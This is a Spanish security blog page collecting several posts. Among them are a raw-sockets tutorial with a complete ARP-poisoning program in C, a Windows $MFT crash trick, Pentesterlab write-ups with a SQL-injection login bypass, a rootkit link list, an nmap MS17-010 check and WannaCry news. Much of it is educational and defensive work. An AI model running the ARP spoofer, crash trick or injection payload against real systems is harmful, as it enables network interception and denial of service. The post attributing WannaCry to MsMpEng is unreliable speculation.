En crudo y sin censura RAW SOCKETS II (en C)

¡Qué tal! Ya estoy aquí con la segunda entrada de esta serie, que me da a mi que va a ser larga... ;D
Bueno como prometí en la entrada anterior vamos a ver el ejemplo que os dejé, vamos a ver las partes importantes de Sockets Raw, y añadiremos o modificaremos el código para conseguir un ejemplo más versátil...

Al lector: si incurro en cualquier error a lo largo de estos post agradecería vuestras correcciones.

Como primer ejercicio quiero que le echéis un vistazo más a fondo al código que está debajo de este párrafo, y leáis los comentarios donde a grandes rasgos explico el funcionamiento del ejemplo que os dejé la semana pasada, si no entendéis nada (nadie dijo que programar para sockets fuera a ser fácil), no agobiarse, basta con echarle un ojo para que cuando explique la teoría os suene por donde cae en el código:

#include <stdio.h>//libreria estandar
#include <stdlib.h>//libreria estandar
#include <unistd.h>// close(sock)
#include <string.h>//biblioteca standar
#include <netinet/if_ether.h> //estructuras ethernet arp headers
#include <net/if.h>// sockets interfaces locales
#include <sys/socket.h> // encabezado de sockets principales
#include <arpa/inet.h>//definiciones de las operaciones de Internet
#include <netpacket/packet.h>// struct sockaddr_ll
#include <net/ethernet.h>//id protos ethernet
#include <signal.h> //signal(SIGINT, cleanup);

#define IP4LEN 4 //define la 
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;

void usage() { //funcion para mostrar el help del programa por pantalla
    puts("usage:\t./arp-poison <interface> <gateway ip> <mac addr>");
    puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
    exit(1);
        }

void cleanup() { //utilizaremos esta funcion para cerrar el socket
    close(sock); //mediante la funcion close() de <unistd.h>
    exit(0); //la funcion no retornara valor alguno
}

main(int argc, char ** argv) {
    char packet[PKTLEN]; //definimos la longitud del paquete a la suma del la cabecera ETHERNET+ARP
    struct ether_header * eth = (struct ether_header *) packet; //declaramos la variable eth y la apuntamos
    //a struct ether_headder del paquete (<netinet/if_ether.h>)

    struct ether_arp * arp = (struct ether_arp *) (packet + sizeof (struct ether_header)); //igual que el anteriot pero 
    //ether_arp para poder meter 
    //mas tarde valores.
    struct sockaddr_ll device; //<netpacket/packet.h> hacemos que  int sll_ifindex;apunte a nuestra variable device

    if (argc < 4) {//si los argumento pasados para lanzar el programa 
        usage();
    }//son inferiores a 4 lanzamos la funcion usage()mostrando asi la ayuda

    sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); //declaramos el socket con su familia,
    //tipo raw,protocolo. htons()convierte el entero corto sin signo hostshort  desde el orden de bytes del host al de la red.

    if (sock < 0) //si no se crea el shocket llamamos a exit()
        perror("socket"), exit(1);
    signal(SIGINT, cleanup);
    //RELLENAMOS LAS ESTRUCTURAS
    //recogemos la mac del argumento 3 (hexadecimal)
    //y se l pasamos a la structura ARP concretamente arp_sha[ETH_ALEN];/* sender hardware address */
    // de la libreria <netinet/if_ether.h> sin signo
    sscanf(argv[3], "%x:%x:%x:%x:%x:%x",  (unsigned int *) &arp->arp_sha[0],
                                          (unsigned int *) &arp->arp_sha[1],
                                          (unsigned int *) &arp->arp_sha[2],
                                          (unsigned int *) &arp->arp_sha[3],
                                          (unsigned int *) &arp->arp_sha[4],
                                          (unsigned int *) &arp->arp_sha[5]);
    
    //recogemos la ip pasada en el argumento 2 (decimal) a arp_spa <netinet/if_ether.h> entero
    sscanf(argv[2], "%d.%d.%d.%d",(int *) &arp->arp_spa[0],
                                  (int *) &arp->arp_spa[1],
                                  (int *) &arp->arp_spa[2],
                                  (int *) &arp->arp_spa[3]);
 ///////
  memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast  destination eth address */>/a la structura ethernet
  memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);//* "source ether addr" a structura etherne y a" hardware address" struc_arp 
  eth->ether_type = htons(ETH_P_ARP); 
  //pasamos el al heather ethernet el valor ETH_P_ARR
  //de if_ether.h "  ETH_P_ARP 0x080  Address Resolution packet */"
  arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arp->ea_hdr.ar_pro = htons(ETH_P_IP);
  arp->ea_hdr.ar_hln = ETH_ALEN;
  arp->ea_hdr.ar_pln = IP4LEN;
  arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
  memset(arp->arp_tha, 0xff, ETH_ALEN);
  memset(arp->arp_tpa, 0x00, IP4LEN);
  memset(&device, 0, sizeof(device));
  device.sll_ifindex = if_nametoindex(argv[1]);
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
  device.sll_halen = htons(ETH_ALEN);

  puts("press ctrl+c to exit.");
  while (1) {
    printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]);
    sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));//mandamos los paquetes
    sleep(2);
  }
  return 0;
}

Se que prometí no ponerme en rollo técnico, pero para empezar con sockets al menos nos deben sonar un par de conceptos críticos... intentaré ser lo mas simple y conciso que pueda...

Encapsulación de datos:

"En redes de ordenadores, encapsulación es un método de diseño modular de protocolos de comunicación en el cual las funciones lógicas de una red son abstraídas ocultando información a las capas de nivel superior".

Windows 7 y 8.1 se bloquearán con sólo intentar abrir c:\$MFT\123

Desde su creación, Windows tiene varios nombres de archivo que son "especiales" porque no corresponden a ningún archivo real, sino que representan dispositivos de hardware. Se puede acceder a estos nombres de archivo especiales desde cualquier ubicación del sistema de archivos, aunque realmente no existan en el disco. Sin embargo, existen algunos errores en la forma que manejan estos archivos que pueden hacer que el sistema quede bloqueado e incluso colgado...

Windows 95/98 manejaba bien los accesos al dispositivo de la consola (con), es decir al teclado y a la pantalla, pero los problemas surgían cuando el nombre de archivo aparecía dos veces, por ejemplo c:\con\con. En ese caso... pantallazo azúl de la muerte... y risas... Por supuesto, si se hacía referencia a ese archivo desde una página web, siguiendo con el ejemplo file:///c:/con/con, la máquina "crasheaba" también como los ángeles, sólo accediendo a la página malintencionada.

Y como a la Compañía de Redmond no le gusta perder las malas costumbres, se ha descubierto recientemente que Windows 7 y 8.1 (Windows 10 parece que se salva) también nos deleita con bonitos bloqueos y pantallazos azules de la muerte (o BSOD) al manejar nombres de archivo especiales. Esta vez, el nombre de archivo especial es $MFT.


$MFT es el nombre dado a uno de los archivos de metadatos especiales que son utilizados por el sistema de archivos NTFS de Windows. El archivo existe en el directorio raíz de cada volumen NTFS, pero el controlador NTFS lo maneja de manera especial y está oculto e inaccesible a la mayoría del software. Los intentos de abrir el archivo normalmente se bloquean, pero de una manera similar a los fallos de Windows 9x, si se utiliza el nombre de archivo como si fuera un nombre de directorio, por ejemplo intentando abrir el archivo c:\$MFT\123, el driver NTFS bloquea el archivo y nunca lo libera. Cada operación posterior queda a la espera de que se libere y a continuación se bloquean todos y cada uno de los demás intentos de acceso al sistema de archivos, por lo que cada programa comenzará a colgarse, haciendo que la máquina sea inutilizable hasta que se reinicie.

Y, como sucedió hace casi 20 años, las páginas web que usan el nombre de archivo incorrecto (por ejemplo como el source de una imagen) provocan el error y hacen que la máquina deje de responder. Dependiendo de lo que la máquina está haciendo en ese momento podremos dsifrutar o no de un bonito pantallazo azul. De cualquier forma, se necesitará reiniciar el equipo para recuperarlo. Algunos exploradores bloquearán los intentos de acceso a estos recursos locales, pero Internet Explorer, por ejemplo, intentará acceder al archivo incorrecto.

De momento no se ha conseguido hacerlo al revés, es decir que se caiga el servidor enviándole la solicitud de un nombre de archivo incorrecto, pero tiempo al tiempo... De momento el tio Bill ya ha sido informado aunque el problema todavía no ha sido parcheado.

Enjoy trolling!

En crudo y sin censura RAW SOCKETS I (en C)

Aprovechando que tengo que guardar reposo por un mini accidente laboral (tres puntos... ya sólo me quedan dos para el perro piloto) y no tengo nada mucho mejor que hacer, he decidido ponerme con algo que llevaba postponiendo un tiempo (permitirme la redundancia) ...salsear un poquito con los  SOCKETS en C y ya de paso escribir una entrada en el blog... que me prodigo últimamente bien poco....y no hay que perder las buenas costumbres.

A lo largo de esta serie de entradas intentaré mostrar para qué podemos utilizar la programación de sockets (sobre todo los RAW)  siempre mirando desde un prisma....digamos que oscuro....

Soy consciente que no es un tema fácil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...

Para seguir estos posts es necesario tener unos conocimientos mínimos de redes, un poquito de C, así como disponer de una máquina linux, puesto que este tostón está orientado a sistemas Linux o Unix, como ya es común en mis entradas.

No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es más, os animo a ello.

También quiero dejar claro que que vamos a abordar el tema desde un punto de vista práctico sin entrar mucho en detalles técnicos, si no podría ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburriría, así que lo veremos de soslayo.

Ejecución remota de comandos mediante ¡subtítulos maliciosos!

Los investigadores de Check Point han revelado un nuevo vector de ataque que amenaza a millones de usuarios que utilizan reproductores de medios tan populares como VLC, Kodi (XBMC), Popcorn Time y Stremio. Se trata de archivos de subtítulos maliciosos para películas y series que pueden permitir a un atacante tomar el control completo de cualquier dispositivo que lo cargue en las plataformas vulnerables.

"La cadena de suministro de subtítulos es compleja, con más de 25 formatos de subtítulos diferentes, todos con características y capacidades únicas. Este ecosistema fragmentado, junto con una seguridad limitada, significa que hay múltiples vulnerabilidades que podrían ser explotadas, convirtiéndolo en un objetivo muy atractivo para los atacantes ", dijo Omri Herscovici, líder del equipo de investigación de la vulnerabilidad de Check Point.

Demo

El siguiente video es una prueba de concepto cómo se llevan a cabo este tipo de ataques:

Los subtítulos para películas o programas de TV son creados por una amplia gama de autores y subidos a repositorios online compartidos, como OpenSubtitles.org, donde están indexados y clasificados. Los investigadores también demostraron que manipulando el algoritmo de clasificación de los repositorios, los subtítulos maliciosos pueden ser descargados automáticamente por el reproductor de medios, lo que permite a un hacker tomar el control completo de toda la cadena de suministro de subtítulos sin la interacción del usuario.

¿Cuántos usuarios se ven afectados?

VLC tiene más de 170 millones de descargas de su última versión, lanzada el 5 de junio de 2016. Kodi (XBMC) ha alcanzado más de 10 millones de usuarios únicos por día, y casi 40 millones de usuarios únicos por mes. No existen estimaciones actuales para el uso de Popcorn Time, pero se estima que son decenas de millones.

Check Point tiene razones para creer que existen vulnerabilidades similares en otros reproductores multimedia de streaming.

¿Cuales son los productos vulnerables confirmados hasta ahora?

Esta es una lista de los programas junto a las versiones vulnerables. Si dispones de una en tu ordenador u otros dispositivos, lo mejor es que la desinstales o actualices:
  •     PopcornTime – https://ci.popcorntime.sh/job/Popcorn-Time-Desktop/249
  •     Kodi – https://github.com/xbmc/xbmc/pull/12024)
  •     VLC – http://get.videolan.org/vlc/2.2.5.1/win32/vlc-2.2.5.1-win32.exe
  •     Stremio https://megahexandword.com/rnw_H8hGnAaWDkyg
¿Y las vulnerabilidades?

Los desarrolladores de VLC fueron contactados en abril y clasificaron las vulnerabilidades en cuatro. Cada una de ellas (CVE-2017-8310, CVE-2017-8311, CVE-2017-8312 y CVE-2017-8313) ya ha sido parcheadas. Se trata de desbordamiento de pila que permite ejecución remota de comandos y todavía no se han publicado los exploits correspondientes.

¿Qué puedes hacer?

Desde que se revelaron las vulnerabilidades, las cuatro compañías han solucionado los problemas reportados. Stremio y VLC también han lanzado nuevas versiones de software que incorporan esta corrección.

Fuentes:

- Hacked in Translation – from Subtitles to Complete Takeover
- Hackers can use subtitles to take over millions of devices running VLC, Kodi, Popcorn Time and Stremio
- Hackers pueden usar subtítulos en Kodi y VLC para obtener acceso a tu PC y smartphone
- ¡Cuidado! Esconden virus en los subtítulos para Kodi, VLC o Popcorn Time
- Este virus toma el control de tu PC con subtítulos en VLC y Kodi
- Malicious Subtitles Allow Hackers to Commandeer Devices Running Streaming Software
- Subtitle Hack Leaves 200 Million Vulnerable to Remote Code Execution
- Be careful! They can hack you through subtitles while you are watching movies

[Pentesterlab write-up] Web For Pentester II - Authentication

Hoy continuamos con los ejercicios de autenticación del laboratorio de Pentesterlab 'Web for pentester II'.

Recordar que, en el contexto de una aplicación web, la autenticación es el proceso por el que se verifica la identidad de un usuario, normalmente mediante una contraseña. Una vez validado, el servidor debe manejar la sesión del usuario para poder seguir interactuando con él. Las sesiones deben ser mantenidas con un identificador único y no predecible.

Las vulnerabilidades relacionadas con la autenticación y la gestión de sesiones son críticas porque permiten a un atacante suplantar la identidad de un usuario y, por lo tanto, tener sus privilegios de acceso.

Veamos algunos de los fallos más típicos y cómo explotarlos.


Ejercicio 1:

Las contraseñas predecibles son probablemente la forma más fácil y común de evadir autenticaciones. Para empezar basta con probar la misma contraseña que el nombre de usuario (admin) y estaremos dentro:


SERVIDOR
require 'sinatra/base'


class AuthenticationExample1 < PBase
  
  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
  
  CREDS =  "admin:admin"
  
  def self.path
    "/authentication/example1/"
  end
  helpers do
    def protected!
      unless authorized?
        response['WWW-Authenticate'] = %(Basic realm="Username is admin, now you need to guess the password")
        throw(:halt, [401, "Not authorized\n"])
      end
    end

    def authorized?
      @auth ||=  Rack::Auth::Basic::Request.new(request.env)
      return false unless @auth.provided? && @auth.basic? && @auth.credentials
      return CREDS ==  @auth.credentials.join(":")
    end
  end
  get '/' do
    protected!
    erb :index
  end
end

Ejercicio 2:

En este ejercicio el problema es que se utiliza una comparación de strings “non-time-constant”, esto significa que la página web analizará la cadena introducida carácter por carácter hasta que encuentre un error, ya que el programador no se molestó en incluir algún tipo de código para aleatorizar o estandarizar el tiempo que tarda la página en analizar los datos.

#Wanakiwi, una herramienta capaz de descifrar los archivos cifrados por WannaCry (Windows XP a 7 no reiniciados)

¡Atención, si has sido infectado por WannaCry NO REINICIES la máquina! El famoso autor de Mimikatz, Benjamin Delpy‏ aka @gentilkiwi, ha publicado la herramienta Wanakiwi que es capaz de descifrar los archivos sin pagar el chantaje...

Hay un fallo en la cripto-API de Windows por el que si se obtienen de la memoria los números primos usados para calcular la clave privada esta puede volver a calcularse. Por eso es tan importante no apagar el equipo infectado, para no perder los datos de la memoria.

En principio el fallo parecía que estaba sólo en Windows XP, pero al parecer afecta a Windows 7 también:

"Después de realizar pruebas adicionales con Benjamin, nos dimos cuenta de que el leak de los números primos en el Crypt API de Microsoft todavía estaba presente en Windows 7. \o/"

Esto significa por lo tanto que la herramienta funcionará desde XP a 7, incluyendo Windows 2003 (x86 confirmado), Vista y 2008 y 2008 R2. Lamentablemente en las últimas versiones los números primos son borrados correctamente (CryptReleaseContext).

Anteriormente se publicó otra herramienta similar, Wannakey, pero requería una aplicación distinta para transformar esos bits en la clave secreta necesaria para descifrar los archivos. Wanakiwi parece más efectiva y ha sido validada por la Europol. Así que si no has reiniciado el equipo (o la memoria no ha sido sobrescrita) y no tienes la última versión de Windows todavía tienes una esperanza:

- Descarga wanakiwi aquí.
- Ejecuta wanakiwi.exe y automáticamente buscará el archivo 00000000.pky. Opcionalmente puedes indicar el PID (Process ID). Si no se indica, por defecto automáticamente buscará en wnry.exe o wcry.exe.
- Cruza los dedos y suerte!

Demo:

Fuente: WannaCry — Decrypting files with WanaKiwi + Demos
Github: https://github.com/gentilkiwi/wanakiwi/releases

Recopilatorio de rootkits

Dentro de la "gran familia" del malware, sin duda un rootkit es una de las piezas más poderosas y peligrosas debido a su propia naturaleza, pues oculta la presencia de (normalmente) malware en el sistema.

Un rootkit reside en el sistema operativo y esconde su presencia interceptando y modificando las funciones del API de nivel bajo, es decir, corrompe los programas y funciones capaces de detectarlo.

Adicionalmente también puede ocultar ciertos procesos, directorios, archivos y claves de registro y muchos rootkits instalan sus propios drivers y servicios también “invisibles” al sistema.

La eliminación del rootkit puede ser complicada o prácticamente imposible, especialmente en los casos en los que el rootkit reside en el kernel del sistema operativo siendo a veces la reinstalación la única opción.

Peligroso, ¿verdad? Pues gracias al enigmático d30sa1 y su repositorio de github tenemos un interesante recopilatorio de rookits para poder cacharrear:

https://github.com/mempodippy/vlany
http://www.ussrback.com/UNIX/penetration/rootkits/
https://github.com/Alifcccccc/Windows-Rootkits
https://packetstormsecurity.com/files/125240/Azazel-Userland-Rootkit.html
https://github.com/islamTaha12/Python-Rootkit
https://github.com/Eterna1/puszek-rootkit
https://github.com/juxing/AdoreForAndroid
https://github.com/HackerFantastic/Public/tree/master/rootkits
https://github.com/m0nad/Diamorphine
https://github.com/maK-/maK_it-Linux-Rootkit
https://github.com/RagingGrim/Rootkit/tree/master/Rootkit
https://github.com/NexusBots/Umbreon-Rootkit
https://github.com/josephjkong/designing-bsd-rootkits
https://github.com/citypw/suterusu/
https://citypw.blogspot.gr/2014/08/an-awesome-linux-kernel-rootkit-suterusu.html
https://github.com/Cr4sh/WindowsRegistryRootkit
https://packetstormsecurity.com/files/139665/Vlany-Linux-LD_PRELOAD-Rootkit.html

Cómo detectar máquinas vulnerables a #WannaCry (nmap nse script MS17-010)

Después del torbellino mediático de los últimos días, mucha gente que no trabaja en informática o no tiene demasiada idea pregunta: "pisha, y cómo hago para saber si puedo pillar el ramonware ransomware ese" y normalmente la respuesta rápida es "actualiza Windows inmediatamente, si es que todavía no lo has hecho". La razón es obvia, el vector de red que utiliza el ransomware WannaCry es la explotación de la vulnerabilidad en SMB (boletín MS17-010) corregida el 14 de marzo, al igual que hace el famoso ETERNALBLUE liberado por ShadowBrokers.

También podríamos detener la propagación del malware deshabilitando SMBv1 o encomendándonos a San Custodio y que se haya activado un "kill switch" que reconozca la variante que nos estaba acechando pero... ¿para qué arriesgarnos?... actualiza, actualiza, ACTUALIZA!

Ahora bien, si estas en una red y no eres responsable directo de actualizar los equipos M$ de la LAN, quizás te hayan pedido o te resulte interesante }:-) saber cuáles son las máquinas que tienen el puerto 445/TCP accesible y son vulnerables. Para ello podríamos usar el escáner de Metasploit (auxiliary/scanner/smb/smb_ms17_010), aunque resulta algo más lento que el script de nmap que vamos a utilizar en principio, que es el que el pasado domingo publicó el mexicano Paulino Calderon (responsable del chapter @OWASP_riviera).

Lo que hace el script es conectarse a $IPC, ejecutar una transacción sobre FID 0 y comprobar si es devuelto el error “STATUS_INSUFF_SERVER_RESOURCES” para determinar si ha sido parcheado o no contra CVE2017-010.

https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse

Simplemente tenemos que descargar el script nse en el directorio correspondiente, por defecto:

# Linux – /usr/share/nmap/scripts/ or /usr/local/share/nmap/scripts/
# OSX – /opt/local/share/nmap/scripts/
# Windows – c:\Program Files\Nmap\Scripts

Y ejecutar:
nmap -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse X.X.X.X/X

Ejemplo NO VULNERABLE:
nmap -Pn -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.1.22

Starting Nmap 7.12 ( https://nmap.org ) at 2017-05-16 1:56 CEST
Nmap scan report for 192.168.1.66
Host is up (0.00049s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 50:7B:9D:D5:05:CA (Lcfc(hefei) Electronics Technology)

Host script results:
|_smb-vuln-ms17-010: Could not connect to 'IPC$'

Ejemplo VULNERABLE:
# nmap -Pn -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.1.23

Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-16 2:02 EDT
Nmap scan report for 192.168.1.23
Host is up (0.00069s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|       
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

[Pentesterlab write-up] Web For Pentester II - SQLi

No creáis que ceso en mi empeño de seguir haciendo labs, concretamente de Pentesterlab he hecho ya casi todos (los gratuitos), sólo que no quiero inundar el blog con mil y un solucionarios. Es más, os animo a hacerlos vosotros mismos y practicar, pero sobretodo a disfrutar el camino como meta.

No obstante, si que iré publicando algunos de los que más interesantes me parezcan. En este caso Web for Pentester II, al igual que la primera serie que vimos, más que un laboratorio es una serie de ejercicios para aprender a explotar las vulnerabilidades web más comunes, así que creo que es bastante interesante porque resulta tremendamente didáctico. También contribuiremos a ello añadiendo a cada ejemplo el código del lado del servidor, lo cual "clarea la caja" pero ayuda a adquirir un mayor nivel de compresión.

Además en esta ocasión dejamos un lado PHP para trabajar con Ruby así que ¡manos a la obra!


Ejercicio 1:

El primer ejemplo es el más sencillo y tendremos que evadir la autenticación sin pasar ningún usuario o contraseña. Si inyectamos una comilla simple en seguida obtendremos el mensaje de error de la base de datos:


Con el mensaje de error ya tendremos la consulta, como podremos comprobar en el código del lado del servidor:

SERVIDOR:
...
 get '/' do
    res = [] 
    if params['username'] && params['password']
      begin 
        sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
        sql+= " AND password='"+params['password']+"'"
        ActiveRecord::Base.establish_connection self.class.db
        res = ActiveRecord::Base.connection.execute(sql).to_a 
      rescue Exception => e
        @message = e.to_s 
      end
    end
    if res.size > 0 
      erb :index
    else
      erb :login
    end
  end
  ...

Por lo tanto, obtener el payload es 'SELECT * FROM users WHERE username='' or 1=1#  es bastante trivial (tenemos que setear que siempre sea true).

PAYLOAD:
' or 1=1#

¿Cuál ha sido la vulnerabilidad que ha explotado el ransomware que ha puesto en jaque a Telefónica y a otras grandes compañías?

Bueno, ya sabéis que ahora está en primera plana la infección por ransomware en Telefónica y en otras grandes empresas, incluso fuera de España, que ha hecho que todos los medios se agiten, ya que han surgido numerosos mensajes en las redes sociales con imágenes del ransom y correos de distintos departamentos rogando a los usuarios que apaguen inmediatamente sus equipos (incluso audios). Nosotros no vamos a entrar en qué compañías se han visto afectadas y cuáles no, pero si nos parece tremendamente curioso saber cuál ha sido la vulnerabilidad que ha explotado el ransomware y ha hecho que haya puesto a tantas empresas en jaque en un periodo tan corto de tiempo.

Lamentablemente o afortunadamente, no he tenido ningún caso todavía que haya podido analizar directamente, por lo que me sustento en suposiciones basadas en lo que he leído en las redes y lo que me han contado varios compañeros y colegas, y casi todas apuntaban a un RCE en MsMpEng, el conocido "crazy bad".

MsMpEng es el servicio de Protección contra Malware que está habilitado por defecto en Windows 8, 8.1, 10, Windows Server 2012 y posteriores. Además, Microsoft Security Essentials, System Center Endpoint Protection y otros productos de seguridad de Microsoft comparten el mismo core. MsMpEng se ejecuta como NT AUTHORITY\SYSTEM sin sandboxing y es accesible remotamente sin autenticación a través de varios servicios de Windows, incluidos Exchange, IIS, etc.